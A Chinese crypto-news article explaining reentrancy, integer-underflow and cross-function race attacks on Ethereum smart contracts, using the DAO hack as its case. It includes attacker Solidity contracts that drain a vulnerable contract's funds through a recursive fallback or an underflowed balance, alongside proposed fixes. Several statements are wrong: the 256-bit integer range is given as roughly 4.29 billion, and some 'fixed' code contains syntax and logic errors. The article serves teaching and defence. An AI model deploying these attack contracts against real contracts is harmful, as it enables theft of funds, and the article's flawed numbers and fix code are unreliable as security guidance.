用户登陆
正在加载
动不动就出事,智能合约攻击该怎么办?
互联网 · 2019-01-11 15:02:32

如果你在数字货币世界待过足够时间,也许你听说过1或2个智能合约攻击事件,这些攻击导致了几千万美元的盗窃损失。最著名的攻击是DAO事件,这是数字货币世界最受期待的项目之一,同时也是智能合约的改革。虽然很多人听说过这些攻击,但是很少人知道到底发生了什么,是怎么发生的,以及如何避免这些错误。

智能合约是动态的,复杂的以及难以置信地强大。虽然他们的潜力是很难想象,但是也不可能一夜之间就成为了攻击的对象。也就是说,对于往后的数字货币,我们可以从之前的错误中学到经验,然后一起成长。虽然DAO是已经发生的事情,但是这对于开发者,投资者,以及社区成员对于智能合约攻击来说,都是一个很好的例子。

今天,我想和大家聊聊从DAO事件中,我们学到的3件事。

攻击#1:重入攻击

当攻击者通过对目标调用提款操作的时候,重入攻击就会发生,就好像DAO事件一样。当合约不能在发出资金之前更新状态(用户余额),攻击者就可以连续进行提取函数调用,来获得合约中的资金。任何时候攻击者获得以太币,他的合约都会自动地调用反馈函数,function (),这就再次调用了提现合约。这时候,攻击就会进入递归回路,这时候这个合约中的资金就会转入攻击者。因为目标合约都在不停地调用攻击者的函数,这个合约也不会更新攻击者的余额。当前的合约不会发现有任何问题,更清楚地说,合约函数中包含反馈函数,当合约收到以太币和零数据的时候,合约函数就会自动执行。

攻击流程

1.攻击者将以太币存入目标函数
2.目标函数就会根据存入的以太币而更新攻击者的约
3.攻击者请求拿回资金
4.资金就会退回
5.攻击者的反馈函数生效,然后调用提现功能
6.智能合约的逻辑就会更新攻击者的余额,因为提现又被成功调用
7.资金发送到攻击者
8.第5-7步重复使用
9.一旦攻击结束,攻击者就会把资金从他们自己的合约发送到个人地址

1*UeDgMZo2n0skHzgkl352zQ

重入攻击的递归回路

很不幸地是,一旦这个攻击开始,无法停下。攻击者的提现功能会被一次次地调用,直到合约中的燃料跑完,或者被害者的以太币余额被消耗光。

代码

下面就是DAO合约的简单版本,其中会包括一些介绍来为这些不熟悉代码/ solidity语言更好地理解合约。

contract babyDAO {    /* assign key/value pair so we can look up 
    credit integers with an ETH address */ 
    mapping (address => uint256) public credit;    /* a function for funds to be added to the contract,
    sender will be credited amount sent */
    function donate(address to) payable {
        credit[msg.sender] += msg.value;
    }    /*show ether credited to address*/
    function assignedCredit(address) returns (uint) {
        return credit[msg.sender];
    }    /*withdrawal ether from contract*/
    function withdraw(uint amount) {
        if (credit[msg.sender] >= amount) {
        msg.sender.call.value(amount)();
        credit[msg.sender] -= amount;
    }
  }
}

如果我们看下函数withdraw(),我们可以看到DAO合约使用address.call.value()来发送资金到msg.sender。不仅如此,在资金发出后,合约会更新credit[msg.sender]的状态。攻击者在发现了合约代码中的问题,就能够使用类似下面的ThisIsAHodlUp {}来将资金转入contract babyDAO{}合约。

import ‘browser/babyDAO.sol’;
contract ThisIsAHodlUp {    /* assign babyDAO contract as "dao" */
    babyDAO public dao = babyDAO(0x2ae...);
    address owner;    /*assign contract creator as owner*/
    constructor(ThisIsAHodlUp) public {
        owner = msg.sender;
    }
    /*fallback function, withdraws funds from babyDAO*/
    function() public { 
        dao.withdraw(dao.assignedCredit(this));
    }    /*send drained funds to attacker’s address*/
    function drainFunds() payable public{
        owner.transfer(address(this).balance);
    }
}

需要注意地是,这个后退函数,function(),会调用DAO或者babyDAO{}的提现函数,来从合约中盗取资金。从另个方面来说,当攻击者想要把所有偷窃来的资金赚到他们的地址,drainFunds()功能会被调用。

解决方案

现在,我们应该清楚重放攻击会利用两个特别的智能合约漏洞。第一个是当合约的状态在资金发出之后,而不是之前进行更新。由于在发出资金前无法更新合约状态,函数就会在中间计算的时候被打断,合约也认为资金其实还没有发出。第二个漏洞就当合约错误地使用address.call.value()来发出资金,而不是address.transfer() 或者 address.send()。这两个都受限于2300gas,只记录一个事件而不是多个外部调用。

contract babyDAO{
    ....
    function withdraw(uint amount) {
        if (credit[msg.sender] >= amount) {
        credit[msg.sender] -= amount; /* updates balance first */
        msg.sender.send(amount)(); /* send funds properly */
        }
}

攻击2:下溢攻击

虽然DAO合约不会让受害者掉入下溢攻击,我们能够通过现有的babyDAO contract{}来更好地理解这些攻击为什么会发生。

首先,我们需要理解什么是256单位制。一个256单位制是由256个字节组成。以太坊的虚拟机是使用256字节来完成的。因为以太坊虚拟机受限于256字节的大小,所以数字的范围是0到4,294,967,295 (2²⁵⁶)。如果我们超过这个范围,那么数字就会重置到范围的最底部(2²⁵⁶ + 1 = 0)。如果我们低于这个范围,这个数字就会重置到这个范围的顶端(0–1= 2²⁵⁶)。

当我们从零中减去大于零的数,就会发生下溢攻击,导致一个新的2²⁵⁶数集。现在,如果攻击者的余额发生了下溢,那么这部分余额就会更新,从而导致整个资金被盗。

攻击流程

  1. 攻击者通过发出1Wei到目标合约,来启动攻击。
  2. 合约认证发出资金的人
  3. 随后调用1Wei的提现函数
  4. 合约会从发送者的账户扣除的1Wei,现在账户余额又是零
  5. 因为目标合约将以太币发给攻击者,攻击者的退回函数被处罚,所以提现函数又被调用。
  6. 提现1Wei的事件被记录
  7. 攻击者合约的余额就会更新两次,第一次是到零,第二次是到-1。
  8. 攻击者的余额回置到2²⁵⁶
  9. 攻击者通过提现目标合约的所有资金,从而完成整个攻击

代码

    /*donate 1 wei, withdraw 1 wei*/
    function attack() {
        dao.donate.value(1)(this);
        dao.withdraw(1);
    }    /*fallback function, results in 0–1 = 2**256 */
    function() {
       if (performAttack) {
       performAttack = false;
       dao.withdraw(1);
       }
     }     /*extract balance from smart contract*/
    function getJackpot() {
        dao.withdraw(dao.balance);
        owner.send(this.balance);
    }
}

解决方案

为了防止受害人陷入下溢攻击,最好的方法是看更新的状态是否在字节范围内。我们可以添加参数来检查我们的代码,作为最后一层保护。函数withdraw()的首行代码是为了检查是否有足够的资金,第二行是为了检查超溢,第三个是检查下溢。

contract babysDAO{....    /*withdrawal ether from contract*/
    function withdraw(uint amount) {
        if (credit[msg.sender] >= amount 
        && credit[msg.sender] + amount >= credit[msg.sender] 
        && credit[msg.sender] - amount <= credit[msg.sender]) {
        credit[msg.sender] -= amount;
        msg.sender.send(amount)();
    }
}

需要注意,就像我们之前讨论,我们上面的代码是在发出资金之前更新用户的余额。

攻击#3:跨函数竞争条件

最后要说的,就是跨函数竞争攻击。就像在重放攻击中所说,DAO合约不能正确的更新合约状态,并且可以让资金被盗窃。DAO问题和外部调用中的部分原因是跨函数竞争条件攻击的潜在原因。虽然以太坊中所有的转账是线性发生(一个在另一个后面), 外部调用(另一个合约或者地址的调用)如果没有被合理管理,就会成为灾难的导火线。在现实世界中,他们是完全可以避免的。当两个函数被调用并且分享同个状态,跨函数竞争条件攻击就会发生。这个合约就会想到,现在有两个合约状态存在,但是现实是只有一个真正的合约状态存在。我们不能同时获得X = 3和X = 4这两种结果。 让我们用一个例子来说明这个内容。

攻击和代码

contract crossFunctionRace{    mapping (address => uint) private userBalances;
    /* uses userBalances to transfer funds */
    function transfer(address to, uint amount) {
        if (userBalances[msg.sender] >= amount) {
            userBalances[to] += amount;
            userBalances[msg.sender] -= amount;
        }
    }
    /* uses userBalances to withdraw funds */
    function withdrawalBalance() public {
        uint amountToWithdraw = userBalances[msg.sender];
        require(msg.sender.send(amountToWithdraw)());
        userBalances[msg.sender] = 0;
    }
}

上面的合约有2个功能 – 一个是可以转移资金,另一个是提现资金。我们假设攻击者调用了函数transfer(),然后同时使用外部调用函数withdrawalBalance()。userBalance[msg.sender]的状态通过2个不同的方向被抽出。用户的余额还没有被设为0,但是尽管资金已经被提取,攻击者也能够转移资金。这样情况下,合约可以让攻击者使用双花,这也是区块链技术想要解决的问题之一。

注意:如果有函数分享状态,跨函数竞争条件攻击就会在多个合约中发生。
-在调用外部函数之前,应该完成所有的内部工作
-避免发生外部调用
-在不可避免地时候,使用外部函数“不可信”
-在外部调用不可避免的情况下,使用互斥
根据下面的合约,我们可以看到一个例子1) 在完成外部调用之前,完成内部工作。2)将所有外部调用都设为“不可信”。我们的合约会让资金发送到一个地址,并且允许用户一次性将资金存入合同。

contract crossFunctionRace{    mapping (address => uint) private userBalances;
    mapping (address => uint) private reward;
    mapping (address => bool) private claimedReward;
    //makes external call, need to mark as untrusted
    function untrustedWithdraw(address recipient) public {
        uint amountWithdraw = userBalances[recipient];
        reward[recipient] = 0;
        require(recipient.call.value(amountWithdraw)());
    }    //untrusted because withdraw is called, an external call
    function untrustedGetReward(address recipient) public {
        //check that reward hasn’t already been claimed
        require(!claimedReward[recipient]);         //internal work first (claimedReward and assigning reward)
        claimedReward = true;
        reward[recipient] += 100;
        untrustedWithdraw(recipient);
    }
 }
我们可以看出,这个合约的首个函数在发送资金到用户的合约/地址的时候,就会发生外部调用。同样地,奖励函数在发送一次性奖励的时候,也会使用提现函数,因为这也是不可信的。同样重要地是,合约需要执行所有内部工作。就好像重入攻击,函数untrustedGetReward()会在允许提现之前,让用户获得一次性的奖励,从而防止跨函数竞争条件攻击。

在真实世界,智能合约不需要依赖于外部调用。事实上,外部调用在很多情况下,在工作环境中都几乎不可能发生的。由于这个原因,使用互斥体来“锁定”一些状态,并且让拥有者有能力去改变状态,可以帮助防止这类灾难。虽然互斥体非常有效,但是当用于多个合约的时候,都会变的很棘手。如果你使用互斥体来防止这类攻击,你需要很仔细地确保没有其他方法来锁定,或者永远不会释放。如果使用互斥体的方法,在写入智能合约的时候,你需要保证你完全理解潜在的危险。

contract mutexExample{    mapping (address => uint) private balances;
    bool private lockBalances;    function deposit() payable public returns (bool) {        /*check if lockBalances is unlocked before proceeding*/
        require(!lockBalances);
        /*lock, execute, unlock */
        lockBalances = true;
        balances[msg.sender] += msg.value;
        lockBalances = false;
        return true;
    }    function withdraw(uint amount) payable public returns (bool) {
        /*check if lockBalances is unlocked before proceeding*/
        require(!lockBalances && amount > 0 && balances[msg.sender]
        >= amount);
        /*lock, execute, unlock*/
        lockBalances = true;        if (msg.sender.call(amount)()) {
            balances[msg.sender] -= amount;
        }        lockBalances = false;
        return true;
    }
 }

以上,我们可以看到合约mutexExample()会有私人锁定状态,来实行deposit()函数功能和withdraw()函数。锁定会防止用户能够在所有的初步调用完成之前,成功完成withdraw()调用,可以防止任何种类的跨函数竞争条件攻击。

最后的结果

力量越大,责任越大。虽然区块链和智能合约技术每天都在革新,但是风险依然很高。攻击者从没有放弃去寻找机会来攻击这些合约。这取决于我们来保证,我们可以从之前项目的问题中学习经验,来让我们获得成长。希望通过这篇文章,以及其他系列文章,你可以更明白智能合约攻击。

免责声明:
本网站所提供的所有信息仅供参考,不构成任何投资建议。用户在使用本网站的信息时应自行判断和承担风险。币界网不对用户因使用本网站信息而导致的任何损失负责。用户在进行任何投资活动前应自行进行调查和研究,并谨慎决策。币界网不对用户基于本网站信息做出的任何投资决策负责。用户在本网站发布的任何内容均由其个人负责,与币界网无关。
免责声明:本网站、超链接、相关应用程序、论坛、博客等媒体账户以及其他平台和用户发布的所有内容均来源于第三方平台及平台用户。币界网对于网站及其内容不作任何类型的保证,网站所有区块链相关数据以及其他内容资料仅供用户学习及研究之用,不构成任何投资、法律等其他领域的建议和依据。币界网用户以及其他第三方平台在本网站发布的任何内容均由其个人负责,与币界网无关。币界网不对任何因使用本网站信息而导致的任何损失负责。您需谨慎使用相关数据及内容,并自行承担所带来的一切风险。强烈建议您独自对内容进行研究、审查、分析和验证。
s_logo
App内打开